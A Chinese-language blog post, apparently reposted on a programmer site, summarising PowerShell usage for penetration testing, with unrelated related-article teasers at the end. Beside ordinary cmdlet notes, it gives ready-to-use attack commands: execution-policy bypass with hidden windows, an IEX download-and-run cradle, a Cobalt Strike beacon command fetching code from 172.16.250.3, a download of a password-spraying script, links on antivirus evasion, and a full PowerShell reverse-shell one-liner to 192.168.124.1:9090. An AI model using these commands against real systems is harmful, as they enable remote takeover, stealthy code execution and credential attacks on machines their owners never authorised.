powershell使用总结

powershell使用总结模块导入 Import ModuleReconI Module name powerview ps1 查看模块对应命令 Get Command Modulename 其他 powershell exe ExecutionPol noprofileIEX 上述命令意思为 1 将执行策略设置为绕过 这样可以执行 powershell 脚本文件 2 不加载配置文件 3 隐藏窗口 4 Iex 命令为 invove expression 的别名 接收一个字符串作

1.模块导入

2.查看模块对应命令

Get-Command -Module name 
powershell echo 12;#3 

powershell截断符是“;#”。

3.常见参数概述

名称 用法
-Command 需要执行的代码
-ExecutionPolicy 设置默认的执行策略,一般使用Bypass
-EncodedCommand 执行Base64代码,可在powershell混淆的时候用
-File 这是需要执行的脚本名
-NoExit 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
-NoLogo 不输出PS的Banner信息
-Noninteractive 不开启交互式的会话
-NoProfile 不使用当前用户使用的配置文件
-Sta 以单线程模式启动ps
-Version 设置用什么版本去执行代码
-WindowStyle 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden,一般使用hidden

4.绕过powershell执行策略

cmd中:powershell -ep bypass
powershell中:Set-ExecutionPolicy Bypass -Scope Process
当有administrator权限当时候可以直接使用Set-ExecutionPolicy Unrestricted
也可以参考下面的链接
绕过powershell执行策略的方法



5.powershell下载远程数据

powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118bed472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe") 
powershell (new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1','C:\Users\Administrator\Desktop\12.ps1') 

6.常见操作

  1. 绕过本地权限执行文件
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1 
  1. 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1 
  1. 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters] 
  1. cs上线命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.250.3:8022/a'))" 

#powershell上线命令可以简化成以下形式,删除了两个括号和两个双引号

powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://172.16.250.3:8022/a') 
  1. 如果只能执行cmd,那么通过下面的命令来执行powershell脚本里面的函数。
powershell -exec bypass "Import-Module C:\Users\zhangsan\Desktop\powerview.ps1;Get-NetDomain" 

在这里插入图片描述

  1. 筛选
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"} 

筛选Name字段中含有以MM开头的所有值。

7.powershell函数传参相关

但我们要传输powershell命令的时候,如果参数重含有单引号” ’ “,这时候我们需要转义它,转义的方式为在它前面再加一个单引号。且powershell函数传参数的时候,尽量中单引号扩起来,系统只会将两个单引号之间的内容当作字符串传输,而不是当作命令,进而降低了出错概率。

8.数据筛选

在这里插入图片描述

我们创建一个文件,内容如下:

在这里插入图片描述
筛选包含数字3的项:

在这里插入图片描述

$_是必须加的,它的作用是接收管道符传过来的值。

补充:powershell上线免杀

在这里插入图片描述
https://f5.pm/go-52159.html
https://www.freebuf.com/articles/system/249449.html
https://www.cnblogs.com/linuxsec/articles/7384582.html
https://y4er.com/post/cobalt-strike-powershell-bypass/



补充:powershell下载rsat

需要管理员权限

Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, State Add-WindowsCapability -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 –Online;whoami Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 -Online 

补充:反弹powershell

powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.124.1',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()" 

9.附录参考

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/233999.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • HttpSession的正确理解

    HttpSession的正确理解一个session就是一系列某用户和服务器间的通讯。服务器有能力分辨出不同的用户。一个session的建立是从一个用户向服务器发第一个请求开始,而以用户显式结束或session超时为结束。其工作原理是这样的:当一个用户向服务器发送第一个请求时,服务器为其建立一个session,并为此session创建一个标识号;这个用户随后的所有请求都应包括这个标识号。服务器会校对这个标识号以判断请求属于…

    2022年7月13日
    18
  • python语法(二)——截取字符串的方法详解

    python语法(二)——截取字符串的方法详解下面是基于python2+版本;python3+print输出的内容要加括号str=’0123456789’printstr[0:3]#截取第一位到第三位的字符printstr[:]#截取字符串的全部字符printstr[6:]#截取第七个字符到结尾printstr[:-3]#截取从头开始到倒数第三个字符之前printstr[2]#截取第三个字符printstr[-1]…

    2022年5月10日
    42
  • 如何删除织梦系统power by dedecms

    如何删除织梦系统power by dedecms很多织梦系统底部会自带powerbydedecms,这个powerbydedecms是什么意思呢?这个powerby是织梦系统版权信息,但是织梦系统是开源免费的,所以今天小编就和大家说说如

    2022年6月30日
    25
  • 实战模拟│JWT 登录认证「建议收藏」

    实战模拟│JWT 登录认证「建议收藏」分布式跨域认证的解决新方案

    2022年8月16日
    6
  • 一个示例让你明白适配器模式

    一个示例让你明白适配器模式本文讨论适配器模式。适配器模式是23中设计模式之一,它的主要作用是在新接口和老接口之间进行适配。它非常像我们出国旅行时带的电源转换器。为了举这个例子,我还特意去京东上搜了一下电源转换器,确实看到了很多地方的标准不一样。我们国家的电器使用普通的扁平两项或三项插头,而去外国的话,使用的标准就不一样了,比如德国,使用的是德国标准,是两项圆头的插头。

    2022年7月25日
    7
  • Linux系统定时任务「建议收藏」

    Linux系统定时任务定时任务CrondCrond是linux系统中用来定期执行命令/脚本或指定程序任务的一种服务或软件,一般情况下,我们安装完Centos5/6linux操作系统之后,默认便会启动Crond任务调度服务。Crond服务会定期(默认每分钟检查一次)检查系统中是否有要执行的任务工作,如果有,便会根据其预先设定的定时任务规则自动执行该定时任务工作,这个crond定…

    2022年4月16日
    46

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号